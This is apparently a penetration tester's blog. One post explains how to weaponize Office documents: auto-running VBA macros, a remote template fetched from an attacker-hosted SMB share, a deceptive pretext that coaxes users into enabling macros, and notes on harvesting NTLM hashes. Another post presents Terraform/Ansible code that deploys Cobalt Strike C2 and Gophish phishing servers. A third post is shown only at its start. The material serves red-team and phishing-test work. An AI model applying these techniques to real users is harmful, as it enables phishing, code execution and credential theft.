# About

## Bio

Information Security practitioner focusing on Penetration Testing, Offenseive Security Engineering and Red Teaming, with a background in Software Engineering and Computer Science. This blog is intended to discuss:&#x20;

* Network, Application, Wireless & Physical Security
* Red Teaming & Adversary Emulation
* Software & Application Security Engineering
* Any other interesting Security Research

## Contact

### [Website](https://joeminicucci.com)

### [GitHub](https://github.com/joeminicucci)

### [Twitter](https://twitter.com/joeminicucci)

**Thanks for visiting!**

![](/files/-MRIRZIjToK9fmZ4g8hw)


# 2021


# Office Pretexting Using AutoText and Remote Templates

## Context

Delivering pretexts via email, and [packaging payloads in Office products](https://attack.mitre.org/techniques/T1204/002/) is almost as old a trick as contemporary infosec itself. As any good adversary knows, dirty tricks are the best tricks, and  pretext delivery software (Office) has emerged as a crucial toolkit in their arsenals. In this blog post, the focus will be leveraging both Remote Template execution and AutoText pretexts as a means to an end when performing phishing tests. These 2 techniques seek to accomplish the following:

1. Deliver Office payloads remotely, allowing for small degrees of EDR subversion as well as the ability to take down payloads after successful delivery.
2. Create a 'programmatic pretext' - i.e. entice a user to disable Office security controls and enable code execution by changing the observable content in the file based on such actions.

Since I haven't seen the 2 techniques combined on the blogs I follow, I wanted to take the opportunity to share the methodology. This post will additionally explore the possibility of harvesting credentials through the Office remote template negotiation.&#x20;

### Remote Templates

Office templates have been proved to be an efficient delivery for malicious macros remotely. In theory, a remote template referenced within an Office file allows an attacker to subvert some conventional heuristic-based EDR / AV controls, and subsequently compromise end-users within otherwise secure networks. This has been covered extensively in the infosec community, notably by [ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) and [Red Xor Blue](https://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html), both of which I took extensive liberties from to write this blog post.

### AutoText

[AutoText](https://support.microsoft.com/en-us/office/create-reusable-text-snippets-0bc40cab-f49c-4e06-bcb2-cd43c1674d1b) is a no-brainer go-to for social engineers when constructing pretexts. The ability to programmatically swap out content in a document or a spreadsheet based on user-input is an extremely powerful feature to leverage. One common misconception about AutoText is that you can save it directly to the document. AutoText can only be embedded in a template / add-in, and must be referenced externally in pretexting scenarios for the following reasons:

* The template referenced in Word are different on every endpoint. For example, in the following screenshot, the default "Normal" template is referenced. This is a global template that for all intents and purposes could be different on any disk. Saving the AutoText snippet here would in effect limit your payload's efficacy to that single endpoint (most likely your test box).

![AutoText Snippet Saved by default to local disk](/files/CdBZ5hQvJeI9gxtey6ee)

* Add-ins can be added to documents at time of document compilation, but the template reference will not be embedded. The following screenshot displays the type of error you will encounter when attempting to load the snippet from a test endpoint from which the document was not originally compiled:

![Office VB Reference Error](/files/mrTirHA3utYSkS7EJ9kd)

Therefore using this approach, once the document is loaded on a victim machine which does not have the same `Normal.dotm` template locally, the Name of the AutoText, in this case "Finance", will throw a reference error. This underlines the need to host the AutoText snippet in a source that can be statically referenced, such as a remote template file.

## Methodology

### Preparing The Template

Create a new template, and then enter the macro editor. The following template calls `Switch` upon opening the file, which swaps out the main content of a document with the contents of the AutoText entry which will be created in the next step. `Shellz` then pops calc.exe as a placeholder for code execution.

```
'FinanceTemplate.dotm
Sub Document_Open()
    Switch
    Shellz
End Sub

Sub AutoOpen()
    Switch
    Shellz
End Sub

Sub Switch()
    ActiveDocument.Content.Select
    Selection.Delete
    ActiveDocument.AttachedTemplate.AutoTextEntries("Finance").Insert Where:=Selection.Range, RichText:=True
End Sub

Sub Shellz()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc"
End Sub

```

### Preparing the Pretext and AutoText

Next, input data which will be 'flipped' to once Macros are enabled must be created. Think of this data as the end result of a successful compromise, leaving the user oblivious to the successful code execution while maintaining the pretext's facade with the resultant, observable Office content. In other words, this is the content which the user will be served after being pretexted into enabling the execution of the macro.&#x20;

Come up with a valid pretext and create some convincing content, then select all of it.

![Post-pretext data displayed to user after code execution](/files/zIVyBCmfUdIQSttfctlR)

Navigate to `Insert -> Quick Parts -> AutoText -> Save Selection to AutoText Gallery`

Save the AutoText snippet to the Template file:

![Saving the AutoText snippet to the template](/files/6elp1NFIYcYNZ3m7U5rE)

The malicious template now has content-switching and command execution functionality embedded.

### Weaponize and Pretext the Office File

Create a new Office file, such as a `.docx`. Using the same pretext selected for the scenario, in this case financial data, create and save the document. Notice that the content restriction control which prevents macro code execution has been screenshotted, placed at the top-middle region of the document, and pointed out prominently (with a red box) to the user as the reason they can't see "real data".&#x20;

To bolster the facade even further, generate some junk data. The following powershell one-liner generates Base64 strings based on an input image. I do not recommend doing that in production however, since a savvy user may decode the good-natured trolling and burn your whole campaign.&#x20;

```powershell
[Convert]::ToBase64String((Get-Content -Path .\Capture.jpg -Encoding Byte)) >> capture.txt
```

![Pretext document with junk data attached](/files/6u0Jsegfwxbj5mSEwF66)

Since Office files are zipped XML files, rename the Office file extension to `.zip`. Unzip the archive and edit `word_rels\settings.xml.rels`&#x20;

The structure of the XML will look something like the following:

```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" 
	Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
	Target="file:///C:\Users\USer\AppData\Roaming\Microsoft\Templates\Template.dotx"
	TargetMode="External"/>
</Relationships>
```

The target will need to be changed to reference a share on the hosted attack infrastructure. If you want to learn more about hosting attack infrastructure, [check out my previous blog post.](https://blog.joeminicucci.com/2021/redira) A UNC path must be supplied, so pick your favorite hosting method. As an example, an SMB or WebDAV share would suffice.&#x20;

On the machine hosting the payloads, run the following to get an SMB share up (you may want to change the privileges!):

```clike
mkdir /root/smbshare
chmod -R 777 /root/smbshare
cat << EOF > /etc/samba/smb.conf
[thebestshareever]
path = /root/smbshare
browseable = yes
read only = no
EOF
systemctl restart nmbd
systemctl restart smbd
```

Next, change the `Target` XML node in the `settings.xml.rels` to the hostname of the payload server.&#x20;

```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" 
	Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
	Target="\\192.168.1.3/FinanceTemplate.dotm"
	TargetMode="External"/>
</Relationships>
```

Re-zip the `.docx` archive, making sure there is no root directory encapsulating the rest of the `.docx` structure. Structural changes to the directory structure of the `.zip` will corrupt the Office file parser and error out.

To test the document, open it in a test sandbox. The prospective subject will be greeted with the Pretext document prepared earlier. After clicking the "**Enable Content**" button to enable macros, the document will switch to the post-processed AutoText snippet, and execute the desired code (in this case `calc.exe`).

On the attack box, the remote template retrieval can be seen by tailing out the logs of the file sharing service chosen.&#x20;

![Remote template retrieval, as seen from a payload server](/files/ovb7wkhLLDho9Pzdpad1)

### Credential Harvesting Considerations

In the [ired.team entry](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros), Mantvydas mentions that NTLM credential harvesting would be possible using responder on the same network. Since the scenario put forth in this blog entry focuses on externally hosted payload scenarios, it is important to consider how UNC based file retrievals function in Windows environments. [UNC negotiations will resort to WebDAV when outgoing SMB is not successful](https://www.n00py.io/2019/06/understanding-unc-paths-smb-and-webdav/) due to [network provider order](https://www.interfacett.com/blogs/changing-the-network-provider-order-in-windows-10/), and would theoretically function as follows in the Office remote template scenario:

* The hash harvest could be possible via standard SMB, but only if the corp firewall / IDS allows for SMB outbound past the perimeter.
* &#x20;WebDAV would most likely not work, since it would rely on unimplemented [SSPI ](https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/security-support-provider-interface-architecture)interface within Office's business logic, as opposed to a native application such as Windows Explorer (i.e. browsing to a net share provides a credential prompt).
  * Even if the WebDAV method could provide an end-user credential challenge, it could come off as highly suspicious to the end-user.

## Conclusion

With an unprecedented level of security awareness training, information security personnel, and industry recognition, Office persists as a major problem to security teams. The attack principally relies on traditional social engineering tactics, as well as reliable execution methods which the Office desktop suite enables to adversaries out of a perceived functional necessity. The combination of whitty pretexting and mechanisms like AutoText and Office Macros will most likely continue trending as a prominent perimeter security linchpin well into the future.

## References

* <https://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html>
* <https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros>
* <https://www.n00py.io/2019/06/understanding-unc-paths-smb-and-webdav/>
* <https://www.interfacett.com/blogs/changing-the-network-provider-order-in-windows-10/>
* <https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/security-support-provider-interface-architecture>


# Introducing Red Ira - Red Team Infrastructure Automation Suite

v1.0

## Red Team Infrastructure

### Industry Context

There are many great pre-existing resources among the information security community pertaining to Red Team Infrastructure, why it's needed and best practices in terms of deployment and automation. Some recommended reading preceding this article would be [Rasta Mouse's Blog](https://rastamouse.me/blog/terraform-pt1/) as well as [spotless'](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform).

In short, the security industry, technology companies, and enterprises are increasingly utilizing infrastructure-as-code and configuration-as-code approaches to automate the menial tasks of IT provisioning. The days of spinning up new machinery, logging in and configuring software will never end, but the effort which is required becomes exponentially compact as professionals take advantage of "DevOps" software. DevOps provides assurances of repeatability and flexibility across any size infrastructure, freeing up IT teams and System Administrators to work on more important tasks. The true power of DevOps is unleashed when development efforts can be managed, codified, tested and deployed flexibly and automatically, requiring human intervention only when the changes at hand impede the [continuous integration & deployment process](https://www.atlassian.com/continuous-delivery/principles/continuous-integration-vs-delivery-vs-deployment).

In the context of so-called "OffSecOps" (offensive security operations), the industry is increasingly favoring malleability and resilience when running offensive information security campaigns. OffSecOps often encompasses multiple facets of the traditional security engagement in addition to more modern, adversarial emulation scenarios. Crafting the infrastructure in such a way that is both quickly tailored to the target, as well as flexible in the face of competing Blue Teams is paramount.&#x20;

The [Red Team Infrastructure Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) hashes out specifications of building good Red Team Infrastructure in precise detail, and serves as a great reference for any Red Team looking to supercharge their operations. As [harmj0y ](https://twitter.com/harmj0y)outlined in his [phenomenal SO-CON 2020 talk](https://www.youtube.com/watch?v=XaICChBJMck), OffSecOps automation doesn't end at infrastructure & configuration - but can be extended to every limb of the offensive security lifecycle. From payload development, social engineering, C2, all the way to post-exploitation tasks & reporting - OffSecOps really sets the sky as the limit for security ops moving forward. Security teams can no longer ignore the impending wave of the DevOps revolution occurring industry-wide, lest they do so at the peril of their own cost & time.

### Project Purpose

I set out to begin automating Red Team Infrastructure and software configurations that could be tailored easily to individual client engagements, as well as created, maintained and destroyed in the cloud with ease. For this first iteration, a full Cobalt Strike C2 as well as a Gophish server with SMTP relaying would need to be working out-of-the-box, with minimal setup required. Each deployment would include the following:

* LetsEncrypt signed TLS for each domain
* Pre-configuration of each application
* Pre-populated DNS, such as A, NS, DKIM and SPF records
* Malleable redirectors fronting each application

Simplifying and serializing the state-changing operations into a single ingestion point, as well as leveraging file formats which could be easily consumed by micro-services would allow for the framework to be implemented into an Offensive CI pipeline in the future. Furthermore, I wanted to offer more granular network isolation using AWS than was offered in previously developed tools. Depicted below is the project's phase 1 initial architecture proposal (fireballs indicate burnable infrastructure) :

![Red Ira Phase 1 Architecture](/files/-MYm9wnmLMtXtRXvXxWa)

## Software Considerations

{% hint style="warning" %}
At the time of writing, I have no association with any of the software companies mentioned in this blog, and all of my opinions are strictly preference based.
{% endhint %}

Selecting an infrastructure-as-code and configuration-as-code framework is the first step taken in architecting a continuous integration scheme. The following design parameters were selected:

* Repeatability: Ease-of-scale and extensible programming features
* Malleability: Create, modify and destroy the deployments at will
* Idempotency: Ease-of-development & ability to change production deployments on the spot
* Pick what works: Strong preference for a tool set which SMEs in the industry already use and have made available, so as to save development time and complexity costs

Ultimately, Terraform and Ansible were selected, with justifications outlined in the following sections. Fundamentally, the choice came between choosing a containerized orchestration route and resource-based management. The containerized approach of using a technology like Kubernetes with Docker is powerful due to its ability to rapidly deploy predictable containers that 'just work', and to drive deployments at scale. While K8s checked the repeatability box, the other 3 considerations strongly favored the Terraform / Ansible stack.&#x20;

### Terraform

[Terraform](https://www.terraform.io/)'s strength lies in its ability to quickly construct bare-bones infrastructure on[ any number of managed cloud providers and open source cloud hosting stacks](https://registry.terraform.io/browse/providers), using the straightforward [HCL declarative configuration language](https://github.com/hashicorp/hcl) that Hashicorp came up with. HCL & Terraform are [built on graph theory](https://www.youtube.com/watch?v=Ce3RNfRbdZ0), providing a level of modularity which allows for components to be seamlessly abstracted and built upon, even with a minimal knowledge of the language. Furthermore, it allows for the [core Terrform workflow](https://www.terraform.io/guides/core-workflow.html) to be dead simple, allowing not only for scale across multiple teams and deployments, but for ease of use both in an automated CI environment as well as a manual CLI operation.&#x20;

There are several approaches to team-based Terraform deployments, each with its own individual merits. For example, SaaS services such as [scalr](https://scalr.com/) and [Terraform Cloud](https://www.terraform.io/docs/cloud/index.html) exist to manage concurrent Terraform automation modules across teams. With a strong preference to open source and a being a huge fan of [Gitlab,](https://about.gitlab.com/) ChatOps, and [xpn's previous work on Terraform / Ansible based security integration in Gitlab CI](https://blog.xpnsec.com/testing-redteam-infra/), I favored an approach which would allow for 'plug-n-play' deployments. In other words, tuning a Gitlab CI pipeline to serialize simple changes, which would be picked up as a state change for complex Terraform / Ansible configuration management within the pipeline. This is discussed more in-depth in the [Typical Use Cases section](broken://pages/-MSoOEYS7YSmHL0Evmd2#typical-use-cases).

For the last couple of years, infosec players such as [Rasta Mouse](https://twitter.com/_rastamouse), [spotless](https://twitter.com/spotheplanet) and [byt3bl33d3r](https://twitter.com/byt3bl33d3r) have all embraced Terraform as a go-to for rapid infrastructure construction as well, which is discussed in greater detail in the [Existing Offensive Toolkits section](broken://pages/-MSoOEYS7YSmHL0Evmd2#existing-offensive-toolkits).

![Typical Terraform Workflow](/files/-MYmA7CjbmagVH8jpO42)

### Ansible

Like most software ecosystems, DevOps tool chains have many strong opinions preceding them, and [Ansible ](https://www.ansible.com/)is no stranger to phrases such as "why not just use Docker Compose?!" Ansible's fundamental flaw is the playbooks which comprises its configuration-as-code operations can be broken easily by an upstream repository / dependency change, depending on where & how the configuration is being invoked. With Docker containers, you know exactly what to expect when you run the container, or so we are told (this obviously changes as Docker compositions become more complex and contain more and more containers).&#x20;

From an offensive security perspective, Ansible really shines in its idempotency and [inventory system](https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html). This allows for intentional, concurrent [configuration drift](https://shadow-soft.com/ansible-idempotency-configuration-drift/) to occur on multiple machines at any given point in time. For example, if a systemd unit needed to be modified, Ansible would only modify the machines' states based on any (if any) changes in the playbook in relation to what is already present/missing on the target. Imagine a scenario in which a blue team discovers C2 infrastructure: you would want to stop all services until a certain point in the future, in order give your team some buffer time to switch to a backup domain for the remainder of the engagement, before quickly re-deploying.&#x20;

The combination of the core Terraform workflow and Ansible's idempotent aware configuration-as-code model make for a flexible framework of maintaining multiple pieces of infrastructure at scale, with speed and simplicity baked in as the design philosophy of the frameworks themselves.

### Existing Offensive Toolkits

With any new project, it is almost always best to pick something that is already proven to work and build upon it to suit the use case. The following projects were identified and analyzed for usability, active maintenance, and underlying stack:

[byt3bl33d3r's Red Baron project](https://github.com/Coalfire-Research/Red-Baron)

[lsuto & discoking's kubered project](https://github.com/cloudc2/kubered)

[spotless' Blog Experiments](https://github.com/mantvydasb/Red-Team-Infrastructure-Automation)

## Red Ira Software Design & Summary

### Baseline Project

Red Baron was chosen as the baseline software; with maintenance as recent as 2 years in the past, with multiple contributors to the code base, it would most closely fit the criterion for the software considerations posed in the previous section. In addition to its well-established Terraform modules, the following features were very useful and saved alot of time in initial development:

* Project structure for AWS and other common cloud providers
* SSH key & config write-outs
* Rudimentary Ansible integration

### Design Decisions

Due to the following design decisions, I spun a new project rather than forking Red Baron:

* Deployments would require modification of cut-and-dry configuration JSON templates only, for future micro-service / CI ingestion
* All configuration would be done by Ansible, automatically.
  * In-line scripts would remain an option (recommended against), but be removed.
* Top-level modules would be created through stacked Terraform sub-modules, to make composition easier in the future
* Publicly facing assets would only expose ports & services necessary for their core offensive function to the internet.
  * All administrative functions to be exposed to the internal operators' private network only.
  * Underlying infrastructure would be obscured to external parties.

Since the original project was based on an infamous WW1 fighter pilot, I named the project after [Richard Ira Bong](https://en.wikipedia.org/wiki/Richard_Bong), an American WW2 Ace and Medal of Honor recipient.

### Improvements Summary

The following improvements (in a nutshell) were made to the original Red Baron code:

* Terraform upgrade to v0.14.4
  * Includes new Terraform syntax paradigms, such as :
  * Non-interpolated variable invocation
  * explicit `depends` patterns
  * local variables
  * Upgraded acme providers
* Complete, hands-off Cobalt Strike and Gophish Ansible playbooks
  * Using up-to-date software distros: Ansible v2.10.4 (via python3), Cobalt Strike 4.2, and Gophish 0.11.0
  * Added J2 templates & C2 profiles that can be fed into the playbooks.
* Cleaned up code
  * Removed count where unnecessary
  * Simplified outputs
  * Simplified modules
  * Added explicit type constraints where possible
* Boilerplate base variable files for unmanaged infrastructure declaration
* Deployment specific module abstractions (infra as well as Ansible modules)
  * Cobalt strike, Gophish

## Red Ira Software Implementation

{% hint style="info" %}
Currently, Red Ira is implemented only for AWS.
{% endhint %}

### Network Isolation

As [outlined in the Red Team Infrastructure Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki#securing-infrastructure), securing Red Team Infrastructure encompasses standard defense-in-depth measures such as limiting service exposure, employing access control policies, and keep machines up to date. Red-Baron was a bit lenient with the standard[ inbound port exposure,](https://github.com/Coalfire-Research/Red-Baron/blob/master/modules/aws/dns-c2/security_group.tf) so a least-privilege model was implemented to isolate all back-end infrastructure, with the redirectors being solely exposed to the internet with their respective functional service port(s).&#x20;

This model requires that the creation of a VPC, private subnet, public subnet, and any custom security groups applying to those subnets within the [environment\_variables.auto.tfvars.json](https://github.com/joeminicucci/RedIra/blob/master/environment_variables.auto.tfvars.json.template) file. The automation of VPC & subnet creation was not needed by my team in phase 1, but is consideration for the [next release](/2021/redira#future). This is outlined in the [README](https://github.com/joeminicucci/RedIra/blob/master/README.md). The [base\_variables.tf](https://github.com/joeminicucci/RedIra/blob/master/base_variables.tf) file works in conjunction with the [environmen&#x74;*\_*&#x76;ariables file](https://github.com/joeminicucci/RedIra/blob/master/environment_variables.auto.tfvars.json.template) by carrying unmanaged variables, such as AMI IDs, across deployments without the need to re-define them per module. [base\_variables.tf](https://github.com/joeminicucci/RedIra/blob/master/base_variables.tf) files are then placed in each module's folder to represent those unmanaged variable provisions at runtime when Terraform builds its DAG for that module.

### Cut and Dry Variable Inputs

In its current state, Red Ira can be fed the required variables for any given deployment using a [deployment's corresponding JSON file](https://github.com/joeminicucci/RedIra/tree/master/deployments/aws), or [as variables through the command line](https://www.terraform.io/docs/language/values/variables.html#variables-on-the-command-line). For example, the [complete AWS deployment template is implemented in JSON](https://github.com/joeminicucci/RedIra/blob/master/deployments/aws/complete/aws_complete.auto.tfvars.json.template) as follows, allowing for any number of Cobalt Strike C2 and Gophish phishing deployments to be spawned concurrently:

```
{
  "http-c2-amount": 1,
  "http-c2-user": "admin",
  "http-c2-domain-mappings": [
    "",
  ],
  "http-c2-profile": "",


  "dns-c2-amount": 1,
  "dns-c2-user": "admin",
  "dns-c2-domain-mappings": [
    "",
  ],
  "dns-c2-profile": "",

  "cs_license": "",

  "phishing-amount": 1,
  "phishing-user": "admin",
  "phishing-domain-mappings": [
    "",
  ]
}
```

### Module Abstractions

Since Terraform was designed from the ground-up with modularity in mind, my opinion is that best practice should include repeatable modules which adhere to a single responsibility and can easily be copied around as boilerplate code. &#x20;

#### Ansible Abstractions

Invoking Ansible through Red Baron, or any Terraform code, is a bit of a hack. Furthermore, it is often recommended to keep configuration separate from Infrastructure. Some benefits of separation are:

* Allows for easier root cause analysis when the pipeline errors out
* Keeps discrete language functionality, i.e. Terraform & Ansible, separate so as to improve readability maintainability in a build

In the case of CI builds, I found it advantageous to keep Ansible invocations nested within Terraform modules, so that infrastructure I/O could be more seamlessly integrated with configuration inputs. For example, a Cobalt Strike deployment would need to know public IP addresses of the deployment as well as a TLS keypair, and SSH key. Since the majority of these items were already defined as Terraform I/O variables, connecting the Ansible kickoff within Terraform also prevents the possibility of variable de-synchronization in a future build; which is likely in the former approach of tracking Ansible separately in the CI definition.

The [original Red Baron Ansible implementation](https://github.com/Coalfire-Research/Red-Baron/tree/master/modules/ansible#example) required providing base variables in the Ansible module to communicate, and in-lined the necessary variables for a particular playbook as `--extra-args`:

```csharp
module "ansible" {
  source    = "./modules/ansible"

  user      = "${http_c2.ssh_user}"
  ip        = "${http_c2.ips[0]}"
  playbook  = "/path/to/playbook.yml"
}
```

I used this module as a base to construct [playbook specific modules](https://github.com/joeminicucci/RedIra/tree/master/modules/ansible), first by modifying the provisioner to run on `python3` and inline the inventory rather than creating a dynamic inventory. In this manner inventory doesn't need to be tracked, and each Ansible module is invoked in separate instances per each definition. Constructing a dynamic inventory will most likely be needed in the future, as more complex playbooks are invoked, [for example RedELK](https://github.com/curi0usJack/ansible-redelk).

```csharp
command = "ansible-playbook ${join(" ", compact(var.arguments))} --user=${var.user} --private-key=${local.ssh-keys-path}/${var.ip} -i ${var.ip},${join(" -e ", compact(var.envs))} --extra-vars 'ansible_python_interpreter=/usr/bin/python3' ${var.playbook}"
```

#### Cobalt Strike & Gophish Ansible Modules

Using the [base Ansible module](https://github.com/joeminicucci/RedIra/tree/master/modules/ansible/core), abstracting the [Cobalt Stri](https://github.com/joeminicucci/ansible-role-cobalt-strike/)[ke role I created (with the help of chryzsh)](https://github.com/joeminicucci/ansible-role-cobalt-strike/) into a Terraform module was relatively straightforward. First the variables which are needed by Ansible are tracked within a Terraform [variables.tf file](https://github.com/joeminicucci/RedIra/blob/master/modules/ansible/cobalt-strike/variables.tf), as follows:

```csharp
locals {
  ansible-config-playbook = "${local.playbook-path}/core_config.yml"
  ansible-cs-playbook = "${local.playbook-path}/cobalt_strike.yml"
}

variable "ansible-user" {
  type = string
}

variable "ip" {
  description = "Host to run playbook on"
  type = string
}

variable "domain" {
  description = "C2 Domain to host from"
  type = string
}

variable "cs-license"{
  type = string
}

variable "bind-address"{
  type = string
}

variable "teamserver-password"{
  type = string
}

variable "c2-profile"{
  type = string
}

variable "arguments" {
  default = []
  type    = list(string)
  description = "Any additional Ansible arguments to pass in."
}

variable "envs" {
  default = []
  type    = list(string)
  description = "Environment variables to pass in. Will be delimited by -e automatically."
}

```

The role is then [invoked following another call](https://github.com/joeminicucci/RedIra/blob/master/modules/ansible/cobalt-strike/main.tf) to a core\_config.yml playbook as:

```csharp
module "cs-config-ansible"{
  source = "../core"

  #managed
  user = var.ansible-user
  playbook = local.ansible-config-playbook
  ip = var.ip
}

module "cs-ansible"{
  source = "../core"
  depends_on = [module.cs-config-ansible]

  user = var.ansible-user
  playbook = local.ansible-cs-playbook
  arguments = concat(["--extra-vars 'license_key=${var.cs-license} bind_address=${var.bind-address} teamserver_password=${var.teamserver-password} c2_profile=${var.c2-profile} domain=${var.domain}'"], var.arguments)
  ip = var.ip
  envs = var.envs
}
```

The [core\_config.yml playbook](https://github.com/joeminicucci/RedIra/blob/master/data/playbooks/core_config.yml) contains the following core dependency installs through apt, and is a replacement for the [original inline script invocations that Red Baron utilized](https://github.com/Coalfire-Research/Red-Baron/blob/master/data/scripts/core_deps.sh):

```csharp
- name: Core Configuration
  hosts: all
  tasks:

    - name: Install core deps
      apt:
        name:
          - curl
          - tmux
          - git
          - dirmngr
          - debconf-utils
          - wget
          - build-essential
          - vim
          - gcc
        update_cache: yes
        state: latest
      become: yes
      tags: update
```

The Gophish Ansible module uses the same approach and can be [found here](https://github.com/joeminicucci/RedIra/tree/master/modules/ansible/gophish).

#### Cobalt Strike & Gophish Infrastructure Modules

After abstracting the implementation specific Ansible modules, the entire infrastructure module is put in place, which:

1. Spins up the relevant EC2 instances
2. Sets DNS records in Route53
3. Creates TLS keypair with LetsEncrypt
4. Runs the Ansible module

Below is an example of a [Cobalt Strike HTTP C2](https://github.com/joeminicucci/RedIra/tree/master/modules/aws/http-c2) implementation:

```csharp
resource "random_password" "http-cs-teamserver-password" {
  length = 15
  special = true
  override_special = "@%)-_+[}:"
}

module "http-c2" {
  source = "../http-c2"

  #managed
  user = var.cs-http-c2-user
  subnet_id = var.private_subnet_id
  instance_type = var.instance_type
  security_groups = var.base-internal-security_groups
  security_groups_inbound_http = var.base-public-security_groups

  #base
  vpc_id = var.vpc_id
  amis = var.amis
}

module "http-rdir" {
  source = "../http-rdir"
  depends_on = [module.http-c2]

  #managed
  user = var.cs-http-c2-user
  subnet_id = var.public_subnet_id
  instance_type = var.instance_type
  security_groups = var.base-public-security_groups
  redirect_to = module.http-c2.http-c2-private-ip

  #base
  vpc_id = var.vpc_id
  amis = var.amis
}

module "http-rdir-A-records" {
  source = "../create-dns-record"
  depends_on = [module.http-rdir]

  #managed
  domain = local.cs-http-c2-tld
  type = "A"
  record = {
    (var.cs-http-c2-domain) = module.http-rdir.http-rdr-public-ip
  }
}

module "http-c2-create-certs" {
  source = "../letsencrypt/create-cert-dns"
  depends_on = [module.http-rdir-A-records]

  #managed
  domain = var.cs-http-c2-domain
  subject_alternative_names = {
    (var.cs-http-c2-domain) = ["*.${var.cs-http-c2-domain}"]
  }

  reg_email = "${var.cs-http-c2-user}@${local.cs-http-c2-tld}"
  dns_provider = "route53"
}

module "http-c2-ansible"{
  source = "../../ansible/cobalt-strike"
  depends_on = [module.http-c2, module.http-c2-create-certs]

  #managed
  ansible-user = var.cs-http-c2-user
  ip = module.http-c2.http-c2-private-ip
  domain = var.cs-http-c2-domain
  bind-address = module.http-rdir.http-rdr-public-ip
  c2-profile = var.c2-profile
  cs-license = var.cs-license
  teamserver-password = random_password.http-cs-teamserver-password.result
}

```

#### Top Level Deployment Modules

Putting it all together, the [modules can be placed in a deployment](https://github.com/joeminicucci/RedIra/blob/master/deployments/aws/c2_http/aws_c2_http.tf), with the above example being declared as simply as:

```csharp
module "cs-http-c2" {
  source = "./modules/aws/http-cobalt-strike"
  count = var.http-c2-amount

  #managed
  cs-http-c2-user = var.http-c2-user
  cs-http-c2-domain = var.http-c2-domain-mappings[count.index]
  cs-license = var.cs-license
  c2-profile = var.http-c2-profile

  #base
  vpc_id = var.vpc_id
  amis = var.amis
  instance_type = var.instance_type
  public_subnet_id = var.public_subnet_id
  private_subnet_id = var.private_subnet_id
  base-internal-security_groups = var.base-internal-security_groups
  base-public-security_groups = var.base-public-security_groups
}
```

## Typical Use Cases

### Gitlab CI

The following approach is essentially taking [Gitlab CI](https://docs.gitlab.com/ee/ci/) and transforming it into a MacGyver'd sclar/Terraform Cloud style workspace management system. The idea is to deploy the Infrastructure with simple Slack commands through Gitlab CI using [Gitlab ChatOps](https://docs.gitlab.com/ee/ci/chatops/index.html). This approach will be covered more in-depth in a future blog entry, but a typical workflow would execute as follows:

1. An operator would use a custom slash command in Slack, with the 'cut-and-dry' variables - i.e. the pared down variable requirements for each individual Red Ira deployment, as arguments. [Gitlab ChatOps](https://docs.gitlab.com/ee/ci/chatops/index.html) is perfect for this. Each particular customer environment would map to a Terraform workspace and the ChatOps command could be invoked as follows from Slack:

```
/red-ira run http-c2 [Customer_Name] [domain]
```

#### Workspace Management

The above command, on the back-end, would need to perform some workspace management. This is due to the way[ Terraform manages variables on disk directly when working with the open source CLI.](https://www.terraform.io/docs/cloud/workspaces/index.html#workspace-contents)

The following would need to be implemented, assuming the complete deployment would always reside in the root directory, as a [Ruby ChatOps command](https://gitlab.com/gitlab-com/chatops#adding-commands):&#x20;

1. Terraform `workspace` command for customer name (creates if doesn't exist)
2. The corresponding variables file, in this case aws\_complete.auto.tfvars.json,  would need to be renamed in a convention that could identify the customer,  for example, `aws_complete.Customer_Name.auto.tfvars.json`. This step can be avoided if the CI runners are made separately for each customer.
   1. If a pre-existing customer workspace is already deployed in the folder, the Ruby appends `.old` to the file extension, to ensure that Terraform doesn't pick it up. Concurrency is assured since the commands run on the same CI runner.
   2. If the same customer's variables file already exists, it is renamed back from `.old` back to `.json` and the JSON is appended to as directed from the slash command.
3. The corresponding Gitlab CI job is fired off.
4. Unit tests are run with unit testing frameworks such as [Molecule and InSpec](https://blog.xpnsec.com/testing-redteam-infra/).
5. Terraform `plan` and `apply` are invoked.
6. The job finishes or fails, and reports back to Slack the results via a [Slack webhook](https://api.slack.com/messaging/webhooks).

## The Code

[The code is open source and located here.](https://github.com/joeminicucci/RedIra)

## Future

There are a number of improvements that are planned for Red Ira in the future, including:

* [Pwndrop](https://github.com/kgretzky/pwndrop) for payload server
* Domain Fronting Implementation
* [RedELK](https://github.com/outflanknl/RedELK) Implementation
  * Dynamic Terraform created Ansible Inventories
* Hosted Zone / Create VPC implementation, as needed or if requested
* Molecule & InSpec integration tests

## References

{% embed url="<https://www.ansible.com/blog/six-ways-ansible-makes-docker-compose-better>" %}

{% embed url="<https://www.terraform.io/guides/core-workflow.html>" %}

{% embed url="<https://registry.terraform.io/browse/providers>" %}

{% embed url="<https://www.smartsheet.com/devops>" %}

{% embed url="<https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki>" %}

{% embed url="<https://www.youtube.com/watch?v=XaICChBJMck>" %}


# Who Let the ARPs Out? - From ARP Spoof to Domain Compromise

Compromising AD in an assumed breach scenario using old-school network attacks

## Setting the Stage

Often times internal penetration tests are so clear cut: the Blue Team gives you an account in AD, you fire up Bloodhound and get DA within a matter of hours or days. I recently was put on an engagement in which a client requested a simple dropbox to be deployed in a data center, as well as a low-level AD account to cover 2 assumed breach scenarios. The latter is what you would expect, an employee gets phished or their workstation compromised, and the attacker gains a low-level Active Directory account's access.

